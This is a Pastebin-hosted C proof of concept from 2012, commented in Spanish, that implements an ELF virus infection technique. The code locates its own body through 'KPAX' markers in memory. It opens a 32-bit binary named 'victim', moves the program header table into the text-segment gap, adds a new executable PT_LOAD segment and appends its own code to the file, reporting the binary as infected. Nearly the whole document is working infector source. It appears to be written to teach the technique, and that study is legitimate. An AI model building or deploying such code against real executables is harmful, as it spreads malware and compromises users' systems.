document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Prueba de concepto: desplazamiento de la tabla de cabeceras e
  3.  *    inyección al final del fichero.
  4.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  5.  *
  6.  *    This program is free software: you can redistribute it and/or modify
  7.  *    it under the terms of the GNU General Public License as published by
  8.  *    the Free Software Foundation, either version 3 of the License, or
  9.  *    (at your option) any later version.
  10.  *
  11.  *    This program is distributed in the hope that it will be useful,
  12.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *    GNU General Public License for more details.
  15.  *
  16.  *    You should have received a copy of the GNU General Public License
  17.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  18.  */
  19.  
  20. #include <sys/syscall.h>
  21. #include <sys/types.h>
  22. #include <elf.h>
  23. #include <stdint.h>
  24.  
  25. /* Los includes pueden llegar a ser muy molestos. */
  26. #define O_RDWR                02
  27.  
  28. # define SEEK_SET             0       /* Seek from beginning of file.  */
  29. # define SEEK_CUR             1       /* Seek from current position.  */
  30. # define SEEK_END             2       /* Seek from end of file.  */
  31.  
  32.  
  33. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  34.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  35.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  36.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  37.    coincidencia) */
  38.    
  39. #define BOTTOM_MARKER_LOW  0x504b
  40. #define BOTTOM_MARKER_HIGH 0x5841
  41. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  42. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  43.  
  44. #define BOTTOM_MARKER      0x5841504b
  45. #define TOP_MARKER         BOTTOM_MARKER
  46.  
  47. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  48. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  49.    sustituirá por la cadena "palabra" */
  50.    
  51. #define _STRINGIFY(x) #x
  52. #define STRINGIFY(x) _STRINGIFY (x)
  53.  
  54. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  55.    el flag "a" le obliga a que la sección se cargue en memoria */
  56.    
  57. asm (".section .code_bottom, \\"xa\\"");
  58. asm (".long " STRINGIFY (BOTTOM_MARKER));
  59.  
  60. asm (".section .code_top, \\"xa\\"");
  61. asm (".long " STRINGIFY (TOP_MARKER));
  62.  
  63.  
  64. /* Vamos a necesitar, por lo menos, todas estas syscalls:
  65.    write, read, open, close y lseek  */
  66. int
  67. write (int fd, const void *buf, int size)
  68. {
  69.   int ret;
  70.  
  71.   asm volatile ("xchg %%ebx, %%esi\\n"
  72.                  "int $0x80\\n"
  73.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  74.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  75.    
  76.   return ret;
  77. }
  78.  
  79. static inline int
  80. read (int fd, void *buf, int size)
  81. {
  82.   int ret;
  83.  
  84.   asm volatile ("xchg %%ebx, %%esi\\n"
  85.                  "int $0x80\\n"
  86.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  87.                  "a" (__NR_read), "S" (fd), "c" (buf), "d" (size)  :
  88.                  "memory"); /* read modifica la memoria */
  89.    
  90.   return ret;
  91. }
  92.  
  93. static inline int
  94. lseek (int fd, int offset, int whence)
  95. {
  96.   int ret;
  97.  
  98.   asm volatile ("xchg %%ebx, %%esi\\n"
  99.                  "int $0x80\\n"
  100.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  101.                  "a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
  102.    
  103.   return ret;
  104. }
  105.  
  106. static int
  107. open (const char *path, int mode)
  108. {
  109.   int ret;
  110.  
  111.   asm volatile ("xchg %%ebx, %%esi\\n"
  112.                  "int $0x80\\n"
  113.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  114.                  "a" (__NR_open), "S" (path), "c" (mode));
  115.    
  116.   return ret;
  117. }
  118.  
  119. static int
  120. close (int fd)
  121. {
  122.   int ret;
  123.  
  124.   asm volatile ("xchg %%ebx, %%esi\\n"
  125.                  "int $0x80\\n"
  126.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  127.                  "a" (__NR_close), "S" (fd));
  128.    
  129.   return ret;
  130. }
  131.  
  132. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  133.    muy útil para depurar. */
  134. void
  135. long2hex (unsigned int number, char *buf)
  136. {
  137.   int i;
  138.   char hexa[] = "0123456789abcdef";
  139.  
  140.   buf[8] = 0;
  141.  
  142.   for (i = 0; i < 8; i++)
  143.   {
  144.     buf[7 - i] = hexa[number & 0xf];
  145.     number >>= 4;
  146.   }
  147. }
  148.  
  149. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  150.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  151.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  152.    hacia arriba o hacia abajo hasta encontrarlos */
  153.    
  154. void
  155. get_code_limits (uint32_t *bottom, uint32_t *top)
  156. {
  157.   int i;
  158.   uint32_t this_addr;
  159.  
  160.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  161.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  162.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  163.      inline assembly de GCC */
  164.      
  165.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  166.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  167.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  168.      a un cacho de código que no está especialmente diferenciado del resto. */
  169.      
  170.   asm volatile ("call 1f\\n"
  171.                  "1:\\n"
  172.                  "popl %0\\n" : "=g" (this_addr));
  173.                  
  174.  
  175.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  176.      últimos bits a cero. */
  177.      
  178.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  179.                       this_addr = this_addr & 0xfffffffc que es un and
  180.                       en binario con todo 1 menos los dos últimos bits,
  181.                       esto fuerza a que el número esté alineado a 4. */
  182.  
  183.  
  184.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  185.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  186.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  187.      
  188.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  189.      restando. */
  190.      
  191.   for (i = this_addr; ; i -= 4)
  192.   {
  193.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  194.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  195.       {
  196.         *bottom = i;
  197.         break;
  198.       }
  199.   }
  200.  
  201.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  202.      nuestra memoria hacia adelante, sumando. */
  203.   for (i = this_addr; ; i += 4)
  204.   {
  205.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  206.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  207.       {
  208.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  209.                          4 bytes) también pertenece al código. */
  210.         break;
  211.       }
  212.   }
  213.  
  214. }
  215.  
  216. /* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
  217.    infectable */
  218. int
  219. open_elf (const char *path, Elf32_Ehdr *Ehdr)
  220. {
  221.   int fd;
  222.  
  223.   if ((fd = open (path, O_RDWR)) < 0)
  224.     return -1; /* Error al abrir */
  225.    
  226.   if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
  227.   {
  228.     close (fd);
  229.     return -1; /* Error al leer la cabecera */
  230.   }
  231.  
  232.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  233.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  234.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  235.       Ehdr->e_ident[EI_MAG3] != ELFMAG3)
  236.   {
  237.     close (fd);
  238.     return -1; /* Números mágicos incorrectos */
  239.   }
  240.  
  241.   if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
  242.   {
  243.     close (fd);
  244.     return -1; /* El ELF no es de 32 bits */
  245.   }
  246.  
  247.   if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
  248.   {
  249.     close (fd);
  250.     return -1; /* El ELF no es little endian */
  251.   }
  252.  
  253.   if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  254.   {
  255.     close (fd);
  256.     return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
  257.   }
  258.  
  259.   return fd;
  260. }
  261.  
  262. /* Macro para alinear a tamaños */
  263. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  264.  
  265. /* Debido a que en Linux los binarios se llevan a memoria mediante mmap,
  266.    todos los segmentos deben estar alineados a la página, aunque empiecen
  267.    un poco más arriba. Esto permite la existencia de brechas. Sin embargo,
  268.    el tamaño de la brecha está acotado por dos magnitudes. La primera,
  269.    que la brecha acaba cuando acaba la página, la segunda, el inicio de otro
  270.    segmento antes del fin de la brecha. */
  271. /* Esta función medirá el tamaño de dicha brecha, y si cuadra, colará el
  272.    nuevo segmento PT_LOAD al final */
  273.      
  274. int
  275. move_phdrs (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size)
  276. {
  277.   int i;
  278.   int code_idx;
  279.   size_t  gap_size;
  280.   off_t   gap_start;
  281.  
  282.   Elf32_Phdr phdr;
  283.   uint32_t lowest_va;
  284.   uint32_t codebase;
  285.   uint32_t gap_start_relative;
  286.  
  287.   lowest_va = 0xffffffff;
  288.  
  289.   /* Este bucle me calcula la dirección más alta del programa y me busca
  290.      el segmento de código ejecutable. Si encuentra más de un segmento
  291.      de código, pasamos de inyectar. */
  292.  
  293.   code_idx = -1;
  294.  
  295.   for (i = 0; i < Ehdr->e_phnum; i++)
  296.   {
  297.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  298.       return -1;
  299.      
  300.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  301.       return -1;
  302.      
  303.     if (phdr.p_type == PT_LOAD)
  304.     {
  305.       if (phdr.p_vaddr < lowest_va)
  306.         lowest_va = phdr.p_vaddr;
  307.      
  308.       if (phdr.p_flags & PF_X)
  309.       {
  310.         if (code_idx != -1) /* ¿Dos segmentos de código? dew */
  311.           return -1;
  312.        
  313.         codebase = phdr.p_vaddr;
  314.         code_idx = i;
  315.       }
  316.     }
  317.   }
  318.  
  319.   /* ¿No hay segmento de código? dew */
  320.  
  321.   if (code_idx == -1)
  322.     return -1;
  323.  
  324.   lseek (fd, Ehdr->e_phoff + code_idx * sizeof (Elf32_Phdr), SEEK_SET);
  325.   read (fd, &phdr, sizeof (Elf32_Phdr));  
  326.    
  327.   /* Procedemos a medir el tamaño de la brecha. Podemos cacularlo así:
  328.      Si nuestro segmento empieza en OFFSET y tiene SIZE bytes, entonces
  329.      el segmento acabará (como offset relativo a su última página) en
  330.      (OFFSET + SIZE) & 0xfff, con OFFSET + SIZE el desplazamiento del primer
  331.      byte libre de la brecha.
  332.      
  333.      Si queremos saber cuánto espacio libre tenemos, basta con restar:
  334.      
  335.      4096 - (OFFSET + SIZE) & 0xfff
  336.     */
  337.    
  338.   /* Como precaución, alinearemos el tamaño del texto a 4. Estas
  339.      estructuras suelen estar alineadas a 32 bits.  */
  340.   gap_start_relative = ALIGN (phdr.p_filesz, 4); /* Comienzo relativo al segmentp */
  341.   gap_start = phdr.p_offset + gap_start_relative; /* Comienzo real */
  342.   gap_size  = 4096 - (gap_start & 0xfff); /* Tamaño */
  343.  
  344.   /* Sin embargo, la brecha está limitada por otra magnitud. ¿Qué pasa si un segmento
  345.      empieza antes de que acabe la página del segmento de texto? Pues debemos comprobarlo
  346.      también. */
  347.      
  348.   for (i = 0; i < Ehdr->e_phnum; i++)
  349.   {
  350.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  351.       return -1;
  352.      
  353.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  354.       return -1;
  355.      
  356.     /* ¿Está a caballo entre otro segmento? */
  357.     if (phdr.p_type == PT_LOAD)
  358.       if (gap_start <= phdr.p_offset && phdr.p_offset < gap_start + gap_size)
  359.         gap_size = phdr.p_offset - gap_start; /* Corregimos */
  360.   }
  361.  
  362.   /* Ya hemos superado todos los problemas. ¿Podemos añadir una entrada más ahí? */
  363.  
  364.   if (gap_size < (Ehdr->e_phnum + 1) * sizeof (Elf32_Phdr))
  365.     return -1; /* Pues no */
  366.  
  367.   /* Comienza la copia de toda la tabla a la brecha */  
  368.   for (i = 0; i < Ehdr->e_phnum; i++)
  369.   {
  370.     lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET);
  371.     read (fd, &phdr, sizeof (Elf32_Phdr));
  372.      
  373.     if (i == code_idx)
  374.     {
  375.       /* El segmento de código debe ser retocado para incluir la nueva tabla */
  376.       phdr.p_filesz = phdr.p_memsz = ALIGN (phdr.p_filesz, 4) + gap_size;
  377.     }
  378.     else if (phdr.p_type == PT_PHDR)
  379.     {
  380.       /* El cargador utiliza esta cabecera para ubicar el resto de cabeceras
  381.          de programa en memoria. Debemos dejársela bien arregladita.*/
  382.       phdr.p_offset = gap_start; /* Ahora está en gap_start */
  383.       phdr.p_filesz = phdr.p_memsz = (Ehdr->e_phnum + 1) * sizeof (Elf32_Phdr); /* Y mide tanto */
  384.       phdr.p_vaddr  = phdr.p_paddr = codebase + gap_start_relative; /* Y su dirección virtual es esta */
  385.     }
  386.    
  387.     lseek (fd, gap_start + i * sizeof (Elf32_Phdr), SEEK_SET);
  388.    
  389.     if (write (fd, &phdr, sizeof (Elf32_Phdr)) < 0)
  390.       return -1;
  391.   }
  392.  
  393.   /* Aprovechamos para modificar la cabecera */
  394.   Ehdr->e_phoff = gap_start;
  395.   Ehdr->e_phnum++; /* Una más */
  396.  
  397.   /* Actualizamos */
  398.   lseek (fd, 0, SEEK_SET);
  399.   if (write (fd, Ehdr, sizeof (Elf32_Ehdr)) < 0)
  400.     return -1;
  401.    
  402.   /* Ahora, en i: índice de la última cabecera */
  403.   /* Construimos nuestra cabecera extra, igual que en el caso anterior */
  404.   phdr.p_type = PT_LOAD;
  405.   phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
  406.   phdr.p_filesz = size;
  407.   phdr.p_memsz  = ALIGN (size, 4096);
  408.   phdr.p_flags = PF_X | PF_R;
  409.   phdr.p_offset = offset;
  410.   phdr.p_align = 4096;
  411.  
  412.   lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET);
  413.  
  414.   if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  415.     return -1;
  416.    
  417.   return 0;
  418. }
  419.  
  420. int
  421. inject (int fd, void *base, off_t offset, size_t size)
  422. {
  423.   if (lseek (fd, offset, SEEK_SET) < 0)
  424.     return -1;
  425.    
  426.   if (write (fd, base, size) < size)
  427.     return -1;
  428.    
  429.   return 0;
  430. }
  431.  
  432. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  433.  
  434. void
  435. write_zeroes (int fd, int bytes)
  436. {
  437.   int i;
  438.   int null = 0;
  439.  
  440.   for (i = 0; i < bytes; i++)
  441.     write (fd, &null, 1);
  442. }
  443.  
  444. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  445. void
  446. _start (void)
  447. {
  448.   char buffer[9];
  449.   Elf32_Ehdr Ehdr;
  450.   size_t binsize;
  451.   size_t binsize_aligned;
  452.   size_t code_size;
  453.   int fd;
  454.  
  455.  
  456.   uint32_t limit_bottom;
  457.   uint32_t limit_top;
  458.  
  459.   get_code_limits (&limit_bottom, &limit_top);
  460.   code_size = limit_top - limit_bottom;
  461.  
  462.   if ((fd = open_elf ("victim", &Ehdr)) == -1)
  463.   {
  464.     DEBUG ("No se pudo abrir el ejecutable victim.\\n");
  465.     for (;;);
  466.   }
  467.  
  468.   binsize = lseek (fd, 0, SEEK_END);
  469.   binsize_aligned = ALIGN (binsize, 4096);
  470.  
  471.   /* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
  472.      de página de x86 */
  473.      
  474.   write_zeroes (fd, binsize_aligned - binsize);
  475.  
  476.   if (move_phdrs (fd, &Ehdr, binsize_aligned, code_size) == -1)
  477.   {
  478.     DEBUG ("No se han podido mover las cabeceras.\\n");
  479.     for (;;);
  480.   }
  481.  
  482.   if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size) == -1)
  483.   {
  484.     DEBUG ("No se pudo inyectar.\\n");
  485.     for (;;);
  486.   }
  487.  
  488.   DEBUG ("Binario victim infectado.\\n");
  489.   for (;;);
  490. }
');